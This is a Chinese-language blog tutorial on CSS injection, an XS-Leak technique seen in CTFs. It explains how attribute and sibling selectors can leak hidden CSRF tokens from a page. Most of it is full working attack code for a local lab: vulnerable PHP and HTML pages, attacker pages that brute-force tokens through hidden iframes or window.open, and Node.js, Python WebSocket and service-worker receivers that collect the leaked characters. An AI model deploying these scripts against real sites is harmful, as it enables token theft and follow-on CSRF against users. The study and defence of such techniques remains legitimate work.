看过CSS注入1.0的朋友,不相信对CSS注入有了一个概念性的理解,在上一篇文章中我只是简单复现了一下波兰老哥的CSS注入过程,阐述了其大致原理。对于其中很大一部分技术细节,代码细节并未做深入的理解(当时我也看不懂,哈哈)。今天在写个CSS注入2.0
对CSS注入
在做一个更为深入的总结分享。
1. 什么是CSS注入?
35C3比赛中初次出现,按照归属来分的话可以划分到XS-Leak攻击中去的一种攻击手段。
XS-Leak 的原理是使用 Web 上可用的此类侧信道来显示有关用户的敏感信息,例如他们在其他 Web 应用程序中的数据、有关其本地环境的详细信息或他们连接到的内部网络。
说的直白点就是通过客户端的一些漏洞泄露客户端本只属于客户的信息,可以称之为侧信道攻击,即XS-Leak攻击。
叫什么名字做个了解就行,重要的是作为一种攻击方式它的攻击目标、攻击手段、以及防护方式都是我们需要去深入了解的。
CSS注入的目的在1.0中已经说过了,就是要通过一台攻击服务器伪造页面,对存在注入点的页面进行挟持,不断利用CSS属性选择器探测出标签内的隐藏属性(token)实现token的窃取,为下一步施行CSRF攻击扫清障碍。
由于其较为苛刻的利用条件,导致实际环境中出现不多,但是活跃于一些CTF赛事。还是很值得我们研究一番的。
2.基本攻击思路
由于注入点是我们上传的参数会出现在sytle标签
中作为CSS元素使用。那么我们就有必要了解下面两种实现攻击的CSS属性。
2.1 CSS属性选择器
CSS 2 引入了属性选择器。属性选择器可以根据元素的属性及属性值来选择元素。也就是说为了大范围的控制元素的属性,CSS支持使用选择器匹配抓取元素的属性,对其进行一些CSS样式的设置。
标签名称[属性名=(也可以是~=等特殊判断号)"匹配值"]{设置的样式}
选择器类型 | 选择器含义 |
---|---|
[attr] | 表示带有以 attr 命名的属性的元素。 |
[attr=value] | 表示带有以 attr 命名的属性,且属性值为 value 的元素。 |
[attr~=value] | 表示带有以 attr 命名的属性的元素,并且该属性是一个以空格作为分隔的值列表,其中至少有一个值为 value。 |
[attr|=value] | 表示带有以 attr 命名的属性的元素,属性值为“value”或是以“value-”为前缀("-"为连字符,Unicode 编码为 U+002D)开头。典型的应用场景是用来匹配语言简写代码(如 zh-CN,zh-TW 可以用 zh 作为 value)。 |
[attr^=value] | 表示带有以 attr 命名的属性,且属性值是以 *value *开头的元素。 |
[attr$=value] | 表示带有以 attr 命名的属性,且属性值是以 *value *结尾的元素。 |
[attr*=value] | 表示带有以 attr 命名的属性,且属性值至少包含一个 *value *值的元素。 |
[attr operator value i] | 在属性选择器的右方括号前添加一个用空格隔开的字母 i(或 I),可以在匹配属性值时忽略大小写(支持 ASCII 字符范围之内的字母)。 |
[attr operator value s] 实验性 | 在属性选择器的右方括号前添加一个用空格隔开的字母 s(或 S),可以在匹配属性值时区分大小写(支持 ASCII 字符范围之内的字母)。 |
看到这个表格,有兴趣的可以去MDN,当然我们今天的主角其实就是[attr^=value]
这一款选择器。我们举个例子看一看:
<!doctype html><meta charset=utf-8>
<form action="">
<p>
测试框1<input value="aaabbb">
</p>
<p>
测试框2<input value="bbbaaa">
</p>
<p>
测试框3<input value="asc">
</p>
</form>
<style>
/* 测试选择器 */
input[value^="aa"]{
background-color: red;
}
input[value^="b"]{
background: url(http://127.0.0.1/secbasic/1.jpg);
}
</style>
测试结果:
关注选择器的内容,我们看到它准确的选中了两个a开头的元素并修改了颜色。并且再选中b的时候还发送出了url请求。
两件事,第一:我们可以对元素的属性值进行筛选。第二:筛选完毕后可以通过web请求的方式将结果发送出去
前面的注入原理中说过了,我们的目标是隐藏元素的属性数值,因为隐藏属性的缘故,我们想要探测它的数值,仅仅使用属性选择器是无法选中的。
比如:
<!doctype html>
<meta charset=utf-8>
<form action="">
<input type=hidden value="lalala">
<p>
测试框1<input value="aaabbb">
</p>
<p>
测试框2<input value="bbbaaa">
</p>
<p>
测试框3<input value="asc">
</p>
</form>
<style>
/* 测试选择器 */
input[value^="lalala"] {
background: url("http:/127.0.0.1/secbasic/1.jpg");
}
</style>
无法选中从而无法发出请求。那我们就需要借助另一个宝贝了。
2.2 通用兄弟选择器
通用兄弟选择器(~)将两个选择器分开,并匹配第二个选择器的所有迭代元素,位置无须紧邻于第一个元素,只须有相同的父级元素。
/* 在任意图像后的兄弟段落 */
img ~ p {
color: red;
}
示例:套用属性选择器之后选中隐藏标签
<!doctype html>
<meta charset=utf-8>
<form action="">
<input type=hidden value="lalala">
<p>
测试框1<input value="aaabbb">
</p>
<p>
测试框2<input value="bbbaaa">
</p>
<p>
测试框3<input value="asc">
</p>
</form>
<style>
/* 测试选择器 */
input[value^="lalala"] ~*{
color: yellow;
background: url("https://www.baidu.com");
}
</style>
可以看到,因为lalala
属性值的判断选中,成功将元素的颜色进行了设置,并且发出了url请求。
那么css属性选择器和通用兄弟选择器结合起来使用就可以判断隐藏标签的属性值发出请求了。
2.3 一台攻击服务器
此时我们需要一台攻击服务器,将注入点页面挟持在自己的页面内部,之后通过自己页面内部的JS代码,不断控制着源注入点页面进行CSS属性的快速更换,获取到的信息发送给本地服务器的处理接口,快速爆破出标签内的隐藏属性值。
3.实现方式
3.1 js+nodejs实现CSS注入
实验环境:本地使用phpstudy搭建apache服务,开启虚拟主机,虚拟主机中的页面存放注入点页面。本地配置nodejs环境,使用nodejs模拟另一台服务器。这样注入页面就可以用域名进行访问。模拟真实的环境。
3.1.1 注入点页面
<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
var_dump($token2);
?>
<!doctype html><meta charset=utf-8>
<input name="csrf" type=hidden value=<?=$token2 ?>>
<input >
<script>
var TOKEN = "<?=$token2 ?>";
</script>
<style>
/* 正则替换style闭合标签,防止恶意闭合,get方法获取css参数 */
<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>
可以清楚的看到,注入点的特征,含有input,使用input进行数据提交,同时页面内存在CSS属性的get参数提交接口,用于页面CSS属性的控制。
3.1.2 服务端页面
nodejs页面:
var express = require('express');
var app = express();
var path = require('path');
var token = "";
//采用CORS实现跨域,允许被攻击页面向服务器发送请求
app.all("*", function(req,res,next){
//设置允许跨域的域名,*代表允许任意域名跨域
res.header("Access-Control-Allow-Origin", "*");
res.header("Access-Control-Allow-Methods", 'PUT,POST,GET,DELETE,OPTIONS');
res.header("Access-Control-Allow-Credentials", true);
next()
})
//处理receive页面请求 --- 接收参数token
app.get('/receive/:token', function(req, res) {
token = req.params.token;
console.log(token)
res.send('ok');
});
//return页面请求,向客户端返回刚获取到的token
app.get('/return', function(req, res){
res.send(token);
});
//返回恶意页面
app.get('/css.html', function(req, res){
res.sendFile(path.join(__dirname, 'css.html'));
})
//配置本地服务器
var server = app.listen(8083, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
恶意页面:此页面与nodejs页面在同一个目录下
<html>
<style>
#frames {
visibility: hidden;
}
</style>
<body>
<div id="current"></div>
<div id="time_to_next"></div>
<div id="frames"></div>
</body>
<script>
//从上到下依次为:注入点、receive服务请求、return服务请求
vuln_url = 'http://www.bbb.com/cssinject/css.php?css=';
server_receive_token_url = 'http://127.0.0.1:8083/receive/';
server_return_token_url = 'http://127.0.0.1:8083/return';
// 创建攻击字典数组 - 已知哈希方法为md5则可以只匹配a-f,0-9这十六个字符
chars = "123456789abcdef".split("");
//定义已知的token
known = "";
function test_char(known, chars) {
// Remove all the frames
document.getElementById("frames").innerHTML = "";
// Append the chars with the known chars
css = build_css(chars.map(v => known + v));
// Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...
frame = document.createElement("iframe");
frame.src = vuln_url + css;
frame.style="visibility: hidden;"; //gotta be sneaky sneaky like:一定要偷偷摸摸的藏好iframe
document.getElementById("frames").appendChild(frame);
// in 1 seconds, after the iframe loads, check to see if we got a response yet
setTimeout(function() {
var oReq = new XMLHttpRequest();
//创建事件监听器,加载完毕后执行known_listener()函数
oReq.addEventListener("load", known_listener);
oReq.open("GET", server_return_token_url);
oReq.send();
}, 1000);
}
//创建payload的函数,构建css参数内容 --- 属性选择器构成的老长一串URL
function build_css(values) {
css_payload = "";
for(var value in values) {
css_payload += "input[value^=\""
+ values[value]
+ "\"]~*{background-image:url("
+ server_receive_token_url
+ values[value]
+ ")%3B}"; //can't use an actual semicolon because that has a meaning in a url
}
return css_payload;
}
//监听事件使用的函数
function known_listener () {
document.getElementById("current").innerHTML = "Current Token: " + this.responseText;
if(known != this.responseText) {
//判断未结束爆破则递归调用test_char函数开启下一轮爆破
//先将调用者的返回体text格式赋值给known完成前端已爆破数据的存储
known = this.responseText;
//递归调用test_char开启下一轮爆破
test_char(known, chars);
} else {
//判断已经结束爆破提示弹窗
known = this.responseText;
alert("CSRF token is: " + known);
}
}
//第一次调用爆破函数
test_char("", chars);
</script>
</html>
3.1.3 测试效果
1.对应目录下开启nodejs服务
D:\phpstudy_pro\WWW\bbb\cssinject>node css.js
Example app listening at http://:::8083
2.模拟客户点击恶意页面
http://127.0.0.1:8083/css.html
服务端显示:
3.得出结论
测试成功,使用iframe将受害页面包含进来,可以对其进行CSS注入。获取token。
token存储位置:服务端创建变量token中转给客户端,并将token数值打印输出到服务端。
3.1.4 对比波兰研究员的方案
在CSS注入1.0中我们采用的就是波兰这位研究员的测试方案,再次查看效果:
代码这里就不再赘述了,通过分析我们可以看到这里攻击服务器在客户端的cookie中临时存储token的爆破结果,如果在服务器上将结果打印出来,同样可以获取用户的token。两种方法均是利用iframe标签重复在页面内发起对于注入点的css注入,试图爆破出隐藏的标签属性token。最终都可以达到目的。
修改后的nodeJS代码:
const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');
const PORT = 3000;
// Obsługa zapytania przyjmującego token jako połączenie
// zwrotne.
app.get('/token/:token', (req, res) => {
const { token } = req.params;
// W odpowiedzi po prostu ustawiane jest ciasteczko o nazwie
// token i tej samej wartości, która została przekazana w URL-u
res.cookie('token', token);
console.log(token);
res.send('');
});
app.get('/cookie.js', (req, res) => {
res.sendFile('js.cookie.js', {
root: './node_modules/js-cookie/src/'
});
});
app.get('/index.html', (req, res) => {
res.sendFile('index.html', {
root: '.'
});
});
app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
})
3.2 js+websocket实现CSS注入
3.2.1 注入点页面(需要服务器解析)
<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
var_dump($token2);
?>
<!doctype html><meta charset=utf-8>
<input name="csrf" type=hidden value=<?=$token2 ?>>
<input >
<script>
var TOKEN = "<?=$token2 ?>";
</script>
<style>
/* 正则替换style闭合标签,防止恶意闭合,get方法获取css参数 */
<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>
3.2.2 恶意页面(需要服务器解析)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div id="div"></div>
<iframe id="leakchar"></iframe>
</body>
<script>
const WS = "ws://127.0.0.1:8000";
const HTTP = "http://127.0.0.1:8008";
const ALPHABET = Array.from("0123456789abcdef");
var s = new WebSocket(WS);
s.onopen = function (event) {
console.log('connection open');
next('');
}
s.onmessage = function (event) {
let token = event.data.match(/\w+/)[0];
next(token);
}
s.onclose = function (event) {
console.log('bye');
}
function next(token) {
if (token.length < 32) {
console.log('leaking ' + token + '* ...');
document.getElementById('leakchar').src = 'http://www.bbb.com/cssinject/css.php?css=' + generateCSS(token);
} else {
console.log('done, lets pwn');
changeEmail(token);
}
}
function generateCSS(token) {
let css = '';
for (let char of ALPHABET) {
css += `input[value^="${token}${char}"] ~*{background: url(http://127.0.0.1:8008/${token}${char})}`;
}
return css;
}
function changeEmail(token) {
var div = document.getElementById("div");
div.innerHTML = token;
}
</script>
</html>
3.2.3 websocket服务端(使用python架设)
from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from socketserver import ThreadingMixIn
from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket
PORT_HTTP = 8008
PORT_WS = 8000
class RequestHandler(BaseHTTPRequestHandler, WebSocket):
def do_GET(self):
"""Respond to a GET request."""
print("http GET request")
self.send_response(200)
self.end_headers()
ws.sendMessage(self.path)
return
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
class SimpleEcho(WebSocket):
def handleMessage(self):
# echo message back to client
print(self.address, 'new msg')
#self.sendMessage(self.data)
def handleConnected(self):
print(self.address, 'connected, opening http server')
global ws
ws = self
httpd = ThreadedHTTPServer(("", PORT_HTTP), RequestHandler)
server_thread = Thread(target=httpd.serve_forever)
server_thread.daemon = True
server_thread.start()
print('http is on 8000,and ws is on 8008:')
def handleClose(self):
print(self.address, 'closed')
server = SimpleWebSocketServer('', PORT_WS, SimpleEcho)
server.serveforever()
这个可以放在本地的pycharm里面运行,需要进行导包
pip install SimpleWebSocketServer
3.2.4 访问恶意页面获取信息
http://www.bbb.com/cssinject3/index.html
本例通过websocket来作为后端服务器接收处理参数,与上述两种方案均有异曲同工之妙。但是一旦浏览器禁用了iframe标签包含。是不是真的可以防御XSS注入呢?我们俩看下面这个例子:
3.3 window.open结合serviceworker
3.3.1 servicerworker概念
这里参考另一位安全研究员的github,这里他提供了不用iframe完成css注入的解决方案。核心思路是利用了wondws.open方法进行跨域通信,完成注入。
在该作者的代码中使用了servicerworker这样一个JS特有的特性。Service Worker 首先是一个运行在后台的 Worker 线程,然后它会长期运行,充当一个服务,很适合那些不需要网页或用户互动的功能。它的最常见用途就是拦截和处理网络请求。
Service Worker 是一个后台运行的脚本,充当一个代理服务器,拦截用户发出的网络请求,比如加载脚本和图片。Service Worker 可以修改用户的请求,或者直接向用户发出回应,不用联系服务器,这使得用户可以在离线情况下使用网络应用。它还可以在本地缓存资源文件,直接从缓存加载文件,因此可以加快访问速度。
具体参考《阮一峰的 webAPI教程》,重点是这样一种特性只能在https网页中使用,因为设计者人为http通信的不安全性给这样的前端脚本造成十分巨大的安全威胁。
下面演示以下我做了一点点修改的代码,因为原来的代码修改起来确实很麻烦。
3.3.2 注入点页面
名称为:victim.html
<html>
<form action="https://security.love" id="sensitiveForm">
<input type="hidden" id="secret" name="secret" value="dJ7cwON4BMyQi3Nrq26i">
<input >
</form>
<script>
//处理接收的参数将其作为style嵌入页面
var fragment = decodeURIComponent(window.location.href.split("?injection=")[1]);
var htmlEncode = fragment.replace(/</g, "<").replace(/>/g, ">");
document.write("<style>" + htmlEncode + "</style>");
</script>
<script src="./server.js">
//包含进响应message的js代码
</script>
</html>
当然还有它的配套JS,为了方便我将测试所有页面都放到192.168.2.169这台centos7服务器上去了。注意服务器一定要配置为HTTPS才能成功。
名称:server.js
navigator.serviceWorker.addEventListener("message", receiveMessage);
function receiveMessage(event) {
console.log("got message");
// if (event.origin !== "http://www.aaa.com") 先前的源判断,可以不添加
// return;
localStorage.setItem("csrfToken", event.data);
}
3.3.3 攻击页面
攻击主页面:attacker.html
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title></title>
</head>
<body onclick="potatoes(0)">click somewhere to begin attack</body>
</br>
The CSRF token is:
<div id="CSRFToken"></div>
</html>
<script>
//判断浏览器是否支持localstorge功能
if ('serviceWorker' in navigator) {
console.log('浏览器支持navigator功能!!!');
navigator.serviceWorker.register('./sw.js');
}
localStorage.removeItem('csrfToken');
// 创建攻击字典数组 - 已知哈希方法为md5则可以只匹配a-f,0-9这十六个字符
chars = "123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".split("");
//创建url请求+分割符(分隔符用于提取已知token)
var server_url = 'https://192.168.2.169/cssinject2/1.php/';
var potatoes = function (count) {
var csrfToken = localStorage.getItem("csrfToken");
if (!csrfToken) {
csrfToken = '';
}
//调用函数生成payload
var css = build_css(chars.map(v => csrfToken + v));
//指定目标URL,上方URL用于互相切换
var win2 = window.open('https://192.168.2.169/cssinject2/1.php', 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")
var win2 = window.open(`https://192.168.2.169/cssinject2//victim.html?injection=${css}`, 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")
//调用窗口的blur方法
win2.blur();
var newCount = count + 1;
if (csrfToken.length == 20) {
return null;
}
setTimeout(function () {
potatoes(newCount);
}, 2000);
}
window.addEventListener('storage', function (e) {
if (e.key == "csrfToken") {
document.getElementById("CSRFToken").innerHTML = e.newValue;
}
});
//css生成器函数
function build_css(values) {
css_payload = "";
for (var value in values) {
css_payload += "#sensitiveForm input[value^=\""
+ values[value]
+ "\"]~*{background-image:url("
+ server_url
+ values[value]
+ ")%3B}"; //这里需要进行URL编码,因为;在JS中是有含义的不能直接写
}
return css_payload;
}
</script>
servicerworker驻留脚本:sw.js
self.addEventListener('fetch', function(event) {
//抓取请求出去的URL
var urlLogged = event.request.url;
//以1.php这个无意义的字符为分隔符提取出token,将其打印出来,并发送给注入页面 --- 让注入页面将其存储到localstorge
if (urlLogged.indexOf("/1.php/") >=0 && urlLogged.indexOf("victim") == -1){
var splitted = urlLogged.split("/1.php/");
var csrfToken = splitted[splitted.length - 1];
console.log(csrfToken);
self.clients.matchAll().then(all => all.map(client => client.postMessage(csrfToken)));
}
});
3.3.4 测试效果
测试结果:测试成功
这里是它的localstorge:
4.总结
经过以上第三节对于多种CSS注入方法的测试得出结论,如果限制了iframe标签可以很大程度上限制住我们的CSS注入攻击。至于第四种使用了servicerworker特性的注入方法,也是因为其注入页面是设计过的,其会响应恶意攻击的流程。致使该方法目前看来仅仅具有观赏性。
很简单,因为作为攻击方将恶意网页发送给受害人时,一定需要一个接收token的服务端来获取结果。3.1与3.2的nodejs和websocket均可以完成此目的,而3.3示例中并未使用后端服务器接收响应的结果。
关于CSS注入,它的过程还是值得进一步推敲的,当然,在这一学习过程中我们也额外收获了诸如websockert通信技术、serviceworker技术等概念。